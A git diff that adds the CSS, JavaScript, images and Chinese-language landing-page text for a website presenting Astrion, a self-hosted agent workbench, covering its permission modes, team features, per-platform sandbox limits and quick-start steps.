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 WX4S^QXW_4+O5(Y!X#Uez-v0;s_NzMp literal 0 HcmV?d00001 diff --git a/website-design/v1-editorial/css/style.css b/website-design/v1-editorial/css/style.css new file mode 100644 index 00000000..5f07d736 --- /dev/null +++ b/website-design/v1-editorial/css/style.css @@ -0,0 +1,302 @@ +/* ============================================================ + Astrion 官网 · 版本一:奶油编辑风 + 星尘点缀 + ============================================================ */ +:root { + --paper: #faf9f5; + --card: #f5f1e8; + --ink: #1c1a16; + --ink-soft: #615a4e; + --line: #e3dccc; + --accent: #cc785c; + --accent-ink: #b25f44; + --serif: "Fraunces", "Noto Serif SC", "Songti SC", serif; + --sans: "Noto Sans SC", "PingFang SC", system-ui, sans-serif; + --mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + background: var(--paper); + color: var(--ink); + font-family: var(--sans); + font-size: 16px; + line-height: 1.75; + overflow-x: hidden; +} +::selection { background: var(--accent); color: #fff; } +.mono { font-family: var(--mono); } +.hidden { display: none !important; } + +/* ---------- 星尘装饰 ---------- */ +.stardust { position: fixed; inset: 0; pointer-events: none; z-index: 0; } +.sd { + position: absolute; width: 3px; height: 3px; border-radius: 50%; + background: var(--accent); opacity: .35; + animation: sdrift 9s ease-in-out infinite alternate; +} +.sd-1 { top: 18%; left: 12%; animation-delay: 0s; } +.sd-2 { top: 30%; left: 84%; animation-delay: 1.4s; width: 2px; height: 2px; } +.sd-3 { top: 64%; left: 8%; animation-delay: 2.8s; } +.sd-4 { top: 76%; left: 90%; animation-delay: .8s; width: 2px; height: 2px; } +.sd-5 { top: 12%; left: 62%; animation-delay: 2s; } +.sd-6 { top: 88%; left: 40%; animation-delay: 3.6s; width: 2px; height: 2px; } +@keyframes sdrift { + from { transform: translateY(0); } + to { transform: translateY(-18px); } +} +.orbit { + position: absolute; top: -180px; left: 50%; transform: translateX(-50%); + width: 900px; color: #d9d0bc; opacity: .55; +} + +/* ---------- 入场动效 ---------- */ +.reveal { opacity: 0; transform: translateY(22px); transition: opacity .7s ease, transform .7s cubic-bezier(.2,.7,.2,1); } +.reveal.in { opacity: 1; transform: none; } +.reveal.d1 { transition-delay: .08s; } +.reveal.d2 { transition-delay: .16s; } +.reveal.d3 { transition-delay: .24s; } +.reveal.d4 { transition-delay: .32s; } + +/* ---------- 导航 ---------- */ +.nav { + position: sticky; top: 0; z-index: 20; + display: flex; align-items: center; gap: 36px; + padding: 18px 40px; + background: var(--paper); + border-bottom: 1px solid var(--line); +} +.brand { display: flex; align-items: center; gap: 12px; text-decoration: none; color: var(--ink); } +.brand-mark { width: 30px; height: 30px; } +.brand-mark .hex { fill: none; stroke: var(--ink); stroke-width: 9; } +.brand-mark .eye { stroke: var(--ink); stroke-width: 9; stroke-linecap: round; } +.brand-name { font-family: var(--serif); font-weight: 600; font-size: 21px; letter-spacing: .01em; } +.nav-links { display: flex; gap: 26px; margin-left: auto; } +.nav-links a { + color: var(--ink-soft); text-decoration: none; font-size: 14px; + transition: color .2s; +} +.nav-links a:hover { color: var(--accent-ink); } + +/* ---------- 按钮 ---------- */ +.btn { + display: inline-flex; align-items: center; gap: 8px; + border: 1px solid var(--ink); border-radius: 8px; + padding: 9px 18px; font-size: 14px; text-decoration: none; + font-family: var(--sans); cursor: pointer; + transition: background .2s, color .2s, transform .15s; + background: transparent; color: var(--ink); +} +.btn:active { transform: translateY(1px); } +.btn-dark { background: var(--ink); color: var(--paper); } +.btn-dark:hover { background: var(--accent-ink); border-color: var(--accent-ink); } +.btn-lg { padding: 13px 26px; font-size: 15px; border-radius: 10px; } + +/* ---------- Hero ---------- */ +.hero { + position: relative; z-index: 1; + max-width: 980px; margin: 0 auto; + padding: 110px 24px 60px; + text-align: center; +} +.eyebrow { + font-family: var(--mono); font-size: 13px; letter-spacing: .28em; + color: var(--accent-ink); margin-bottom: 30px; +} +.hero-title { + font-family: var(--serif); font-weight: 600; + font-size: clamp(44px, 7.4vw, 88px); + line-height: 1.18; letter-spacing: .01em; +} +.hero-title em { font-style: normal; color: var(--accent-ink); } +.hero-sub { + margin: 30px auto 0; max-width: 640px; + color: var(--ink-soft); font-size: 17px; +} +.hero-cta { + margin-top: 42px; + display: flex; justify-content: center; align-items: center; gap: 16px; flex-wrap: wrap; +} +.clone-chip { + display: inline-flex; align-items: center; gap: 14px; + border: 1px solid var(--line); background: var(--card); + border-radius: 10px; padding: 12px 16px; + font-size: 13.5px; color: var(--ink); cursor: pointer; + transition: border-color .2s; +} +.clone-chip:hover { border-color: var(--accent); } +.clone-chip .copy-hint { + font-size: 12px; color: var(--accent-ink); + border-left: 1px solid var(--line); padding-left: 12px; + font-family: var(--sans); +} +.clone-chip.copied .copy-hint { color: #3d7a4e; } +.form-chips { + margin-top: 40px; + display: flex; justify-content: center; align-items: center; gap: 10px; flex-wrap: wrap; +} +.chip-label { font-size: 12px; color: var(--ink-soft); margin-right: 4px; letter-spacing: .12em; } +.fchip { + border: 1px solid var(--line); border-radius: 999px; + padding: 5px 14px; font-size: 13px; color: var(--ink); + background: var(--paper); +} +.fchip i { font-style: normal; color: var(--accent-ink); font-size: 11.5px; margin-left: 4px; } + +/* ---------- 产品实拍 ---------- */ +.shot-section { position: relative; z-index: 1; max-width: 1060px; margin: 40px auto 0; padding: 0 24px; } +.browser-shot { + border: 1px solid var(--line); border-radius: 14px; overflow: hidden; + background: var(--card); + box-shadow: 0 24px 60px -32px rgba(60, 50, 35, .35); +} +.browser-bar { + display: flex; align-items: center; gap: 7px; + padding: 11px 16px; border-bottom: 1px solid var(--line); +} +.bdot { width: 10px; height: 10px; border-radius: 50%; background: var(--line); } +.bdot:first-child { background: #e2a08c; } +.browser-url { margin-left: 12px; font-size: 12px; color: var(--ink-soft); } +.browser-shot img { display: block; width: 100%; } +.shot-notes { display: flex; gap: 48px; margin-top: 26px; flex-wrap: wrap; } +.shot-notes .note { flex: 1 1 340px; font-size: 14.5px; color: var(--ink-soft); } +.shot-notes .note b { color: var(--accent-ink); font-family: var(--mono); font-weight: 500; margin-right: 6px; } + +/* ---------- 章节公共 ---------- */ +section { position: relative; z-index: 1; } +.sec-eyebrow { + font-size: 12.5px; letter-spacing: .3em; color: var(--accent-ink); + margin-bottom: 18px; +} +.sec-title { + font-family: var(--serif); font-weight: 600; + font-size: clamp(32px, 4.6vw, 54px); line-height: 1.25; +} +.sec-sub { color: var(--ink-soft); margin-top: 18px; max-width: 640px; } + +/* ---------- 模式演示 ---------- */ +.modes { max-width: 1060px; margin: 0 auto; padding: 140px 24px 0; } +.mode-board { + margin-top: 44px; + border: 1px solid var(--line); border-radius: 16px; + background: var(--card); padding: 34px 36px 28px; +} +.mode-group { + display: flex; align-items: center; gap: 10px; flex-wrap: wrap; + padding: 14px 0; border-bottom: 1px dashed var(--line); +} +.mode-group:last-of-type { border-bottom: none; } +.mg-label { width: 92px; font-size: 13px; color: var(--ink-soft); flex-shrink: 0; } +.mg-opt { + border: 1px solid var(--line); background: var(--paper); + border-radius: 8px; padding: 6px 15px; font-size: 13.5px; + font-family: var(--sans); color: var(--ink); cursor: pointer; + transition: all .18s; +} +.mg-opt:hover { border-color: var(--accent); } +.mg-opt.active { background: var(--ink); color: var(--paper); border-color: var(--ink); } +.mode-verdict { + margin-top: 24px; padding: 16px 20px; + border-left: 3px solid var(--accent); + background: var(--paper); border-radius: 0 10px 10px 0; + font-size: 15px; color: var(--ink); + min-height: 56px; +} + +/* ---------- 能力清单 ---------- */ +.features { max-width: 1060px; margin: 0 auto; padding: 140px 24px 0; } +.feature-list { + margin-top: 50px; + display: grid; grid-template-columns: repeat(2, 1fr); gap: 0 56px; +} +.feature { + border-top: 1px solid var(--line); + padding: 28px 0 34px; +} +.feature .f-no { font-size: 12.5px; color: var(--accent-ink); letter-spacing: .1em; } +.feature h3 { + font-family: var(--serif); font-size: 24px; font-weight: 600; + margin: 10px 0 12px; +} +.feature p { color: var(--ink-soft); font-size: 15px; } +.tag-beta { + font-style: normal; font-family: var(--mono); font-size: 11px; + border: 1px solid var(--accent); color: var(--accent-ink); + border-radius: 5px; padding: 1px 7px; vertical-align: 3px; margin-left: 4px; +} + +/* ---------- 安全区 ---------- */ +.security { max-width: 1060px; margin: 0 auto; padding: 140px 24px 0; } +.sec-table-wrap { margin-top: 44px; } +.sec-table { + width: 100%; border-collapse: collapse; + border-top: 1px solid var(--ink); border-bottom: 1px solid var(--ink); +} +.sec-table th { + font-family: var(--mono); font-weight: 500; font-size: 12.5px; + letter-spacing: .14em; color: var(--ink-soft); + text-align: left; padding: 14px 12px; + border-bottom: 1px solid var(--line); +} +.sec-table td { + padding: 20px 12px; font-size: 15px; vertical-align: middle; + border-bottom: 1px solid var(--line); +} +.sec-table tr:last-child td { border-bottom: none; } +.sec-table td:first-child { font-family: var(--serif); font-weight: 600; font-size: 17px; } +.sec-table td.mono { font-size: 13px; color: var(--ink-soft); } +.lvl { + display: inline-block; width: 10px; height: 10px; border-radius: 50%; + margin-right: 10px; vertical-align: 1px; +} +.lvl-full { background: #3d7a4e; } +.lvl-mid { background: #c9973f; } +.lvl-low { background: #b4443c; } +.sec-foot { margin-top: 18px; font-size: 13.5px; color: var(--ink-soft); } + +/* ---------- 快速上手 ---------- */ +.quickstart { max-width: 880px; margin: 0 auto; padding: 140px 24px 0; } +.qs-grid { margin-top: 44px; border: 1px solid var(--line); border-radius: 14px; overflow: hidden; } +.qs-tabs { display: flex; border-bottom: 1px solid var(--line); background: var(--card); } +.qs-tab { + border: none; background: transparent; cursor: pointer; + padding: 12px 22px; font-size: 13.5px; font-family: var(--mono); + color: var(--ink-soft); border-right: 1px solid var(--line); + transition: all .18s; +} +.qs-tab.active { background: var(--paper); color: var(--ink); box-shadow: inset 0 -2px 0 var(--accent); } +.qs-code { + background: #211d17; color: #efe9db; + padding: 26px 28px; font-size: 13.5px; line-height: 1.85; + overflow-x: auto; +} +.qs-code .c-cmt { color: #8f8672; } +.qs-end { margin-top: 24px; color: var(--ink-soft); font-size: 15px; } +.qs-end .mono { color: var(--accent-ink); } + +/* ---------- Footer ---------- */ +.footer { + margin-top: 150px; + border-top: 1px solid var(--line); + padding: 70px 40px 44px; + display: flex; flex-wrap: wrap; gap: 40px; align-items: flex-start; + position: relative; z-index: 1; +} +.brand-mark.lg { width: 54px; height: 54px; } +.foot-brand { max-width: 320px; } +.foot-line { margin-top: 18px; font-size: 14px; color: var(--ink-soft); } +.foot-links { display: flex; flex-direction: column; gap: 12px; margin-left: auto; } +.foot-links a { color: var(--ink); text-decoration: none; font-size: 14.5px; } +.foot-links a:hover { color: var(--accent-ink); } +.foot-copy { width: 100%; margin-top: 30px; font-size: 12px; color: var(--ink-soft); } + +/* ---------- 响应式 ---------- */ +@media (max-width: 720px) { + .nav { padding: 14px 20px; gap: 18px; } + .nav-links { display: none; } + .feature-list { grid-template-columns: 1fr; } + .hero { padding-top: 76px; } + .br-pc { display: none; } + .mode-board { padding: 22px 20px; } + .mg-label { width: 100%; margin-bottom: 4px; } +} diff --git a/website-design/v1-editorial/index.html b/website-design/v1-editorial/index.html new file mode 100644 index 00000000..40097a40 --- /dev/null +++ b/website-design/v1-editorial/index.html @@ -0,0 +1,234 @@ + + + + + + Astrion — 星尘聚合,即成智能体 + + + + + + + + + + + + + + +
      +

      开源 · 自托管 · 数据不出本机

      +

      星尘聚合,
      即成智能体

      +

      + Astrion 是一个住在你机器上的智能体工作台:普通对话、多智能体团队、
      + 工作流与技能包——全部本地运行,由你完全掌控。 +

      +
      + 开始使用 + +
      +
      + 三种形态 + Web 界面 + CLI 开发中 + Android +
      +
      + + +
      +
      +
      + + localhost:8091 +
      + Astrion 经典主题主界面:六边形智能体形象、输入栏与模式切换 +
      +
      +

      六边形智能体形象——它不止是会标,工作、思考、使用工具时都有实时表情。

      +

      输入栏底行即控制台:对话类型、运行模式、权限、执行环境,一眼可见、一点即切。

      +
      +
      + + +
      +

      CORE CONCEPTS

      +

      四组开关,
      定义它的行为边界。

      +

      别的智能体让你猜它能做什么;Astrion 把边界做成四个明明白白的开关。
      点一点,看看组合的含义:

      + +
      +
      + 部署模式 + + +
      +
      + 权限模式 + + + + +
      +
      + 执行环境 + + +
      +
      + 运行模式 + + + +
      +

      +
      +
      + + +
      +

      CAPABILITIES

      +

      一支团队,
      而不只是一个对话框。

      +
      +
      + 01 +

      多智能体团队

      +

      Team Leader 率领一支带角色的团队:全栈工程师、代码评审、调研员……分工协作、互相请教,每一步都向你汇报。预置 5 个角色,也可以自己写。

      +
      +
      + 02 +

      三层资产安全网

      +

      版本控制按消息打检查点、修改留痕落盘可 git apply 恢复的 diff、Git 状态栏实时盯梢——AI 怎么折腾,你的劳动成果都丢不了。

      +
      +
      + 03 +

      快捷窗口

      +

      对话区右侧的五窗看板:待办、子智能体、后台命令、文件记录、工作流。任务进展、产物收取、失控终止,一臂之遥。

      +
      +
      + 04 +

      工作流与技能包

      +

      把流程沉淀为工作流模板,把经验沉淀为 Skill。内置 4 个工作流、12 个技能包;用得越久,它越懂你的章法。

      +
      +
      + 05 +

      目标模式 Beta

      +

      给出一个长期目标,它自动一轮一轮干下去:每轮自我评估、可配审核智能体把关,触顶或达成才停。

      +
      +
      + 06 +

      MCP 扩展

      +

      通过 Model Context Protocol 接入外部工具服务;host 模式下甚至可以对它说一句「帮我配置 xxx」就装好了。

      +
      +
      +
      + + +
      +

      SECURITY, HONESTLY

      +

      安全这件事,
      我们说实话。

      +

      每个平台能提供的隔离强度不同。别家含糊其辞,我们把水位线画给你看:

      +
      + + + + + + + + + + + + + + + + + + +
      平台沙箱实现安全水位
      WindowsWSL2可做到完全数据隔离,需先安装 WSL2
      macOSsandbox-exec能限制写入,但文件系统全局可读,无法防止数据泄露
      Linuxbwrap + seccomp尚未经过实测,请勿依赖其隔离性
      +

      叠加路径授权最小化、网络受限、批准模式,才是完整的防护姿势。

      +
      +
      + + +
      +

      QUICK START

      +

      三分钟,
      让它住进你的机器。

      +
      +
      + + +
      +
      # 1. 克隆
      +git clone https://github.com/JOJO6618/astrion.git
      +cd astrion
      +
      +# 2. 初始化向导:依赖 → 运行模式 → 端口 → 管理员 → 模型
      +./setup.sh
      +
      +# 3. 构建前端并启动
      +npm install && npm run build
      +python -m server.app
      + +
      +

      启动后访问 http://localhost:8091,剩下的交给向导。

      +
      + + +
      +
      + +

      星之子,星际粒子。
      把人类意图传递到工具、文件与终端之间。

      +
      + +

      © 2026 Astrion · Open Source

      +
      + + + + diff --git a/website-design/v1-editorial/js/main.js b/website-design/v1-editorial/js/main.js new file mode 100644 index 00000000..481e3af8 --- /dev/null +++ b/website-design/v1-editorial/js/main.js @@ -0,0 +1,90 @@ +/* Astrion 官网 · 版本一交互 */ + +// ---- 入场动效 ---- +const io = new IntersectionObserver((entries) => { + for (const e of entries) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + } +}, { threshold: 0.12 }); +document.querySelectorAll('.reveal').forEach((el) => io.observe(el)); + +// ---- 复制克隆命令 ---- +document.querySelectorAll('[data-copy]').forEach((btn) => { + btn.addEventListener('click', async () => { + const text = btn.getAttribute('data-copy'); + try { + await navigator.clipboard.writeText(text); + } catch { + const ta = document.createElement('textarea'); + ta.value = text; + document.body.appendChild(ta); + ta.select(); + document.execCommand('copy'); + ta.remove(); + } + btn.classList.add('copied'); + const hint = btn.querySelector('.copy-hint'); + const old = hint.textContent; + hint.textContent = '已复制 ✓'; + setTimeout(() => { btn.classList.remove('copied'); hint.textContent = old; }, 1600); + }); +}); + +// ---- 四组模式演示 ---- +const modeState = { deploy: 'host', permission: 'approval', exec: 'sandbox', work: 'plan' }; + +const verdictText = () => { + const work = { + plan: 'AI 只制定计划并与你讨论,批准后自动转入执行', + ask: 'AI 先与你确认方案细节,再动手', + execute: 'AI 自行补全细节,直接开工' + }[modeState.work]; + const perm = { + readonly: '只能读取与检索,一切写入被直接拒绝', + approval: '命令先在只读沙箱试跑,写入需你逐次点头', + auto: '写入由自动审批智能体替你把关,你可随时接管', + unrestricted: '工具不做拦截,直接执行' + }[modeState.permission]; + const exec = modeState.exec === 'sandbox' + ? '命令约束在 OS 沙箱内,读写边界由路径授权限定' + : '命令直接在宿主机执行,无沙箱兜底(高风险)'; + const deploy = modeState.deploy === 'host' + ? '数据存在本机 ~/.astrion,命令跑在宿主机' + : '数据存在服务器,每个用户一个独立容器'; + + let extra = ''; + if (modeState.work === 'plan') extra = '(计划模式下权限与执行环境已锁定为只读+沙箱)'; + if (modeState.exec === 'direct' && modeState.permission === 'unrestricted') extra = '(无限制+直连:等同裸奔,请确认你知道自己在做什么)'; + + return `${deploy};${exec}。${work};${perm}。${extra}`; +}; + +const verdictEl = document.getElementById('modeVerdict'); +const renderVerdict = () => { verdictEl.textContent = verdictText(); }; + +document.querySelectorAll('.mode-group').forEach((group) => { + const key = group.getAttribute('data-group'); + group.querySelectorAll('.mg-opt').forEach((opt) => { + opt.addEventListener('click', () => { + group.querySelectorAll('.mg-opt').forEach((o) => o.classList.remove('active')); + opt.classList.add('active'); + modeState[key] = opt.getAttribute('data-v'); + renderVerdict(); + }); + }); +}); +renderVerdict(); + +// ---- 快速上手 tab ---- +document.querySelectorAll('.qs-tab').forEach((tab) => { + tab.addEventListener('click', () => { + document.querySelectorAll('.qs-tab').forEach((t) => t.classList.remove('active')); + tab.classList.add('active'); + const target = tab.getAttribute('data-tab'); + document.getElementById('qsHost').classList.toggle('hidden', target !== 'host'); + document.getElementById('qsDocker').classList.toggle('hidden', target !== 'docker'); + }); +}); diff --git a/website-design/v2-stardust/assets/product-main.png b/website-design/v2-stardust/assets/product-main.png new file mode 100644 index 0000000000000000000000000000000000000000..7016c2fbad8093bf2a7cc107135bbe032b3cf3f1 GIT binary patch literal 30607 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 